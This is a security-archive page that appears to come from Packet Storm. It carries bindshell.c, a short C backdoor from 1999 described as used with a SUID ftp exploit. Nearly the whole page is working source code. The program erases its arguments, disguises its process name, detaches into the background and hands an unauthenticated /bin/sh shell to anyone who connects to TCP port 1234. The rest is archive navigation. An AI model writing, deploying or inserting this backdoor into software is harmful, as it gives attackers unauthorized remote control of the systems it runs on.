what you don't know can hurt you

bindshell.c

bindshell.c
Posted Sep 30, 1999

Classic bindshell. Used for SUID ftp exploit.

MD5 | bd2580929ce3a569e7e305aa234df3ed

bindshell.c

Change Mirror Download
/*
* Unknown author.
*/


#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close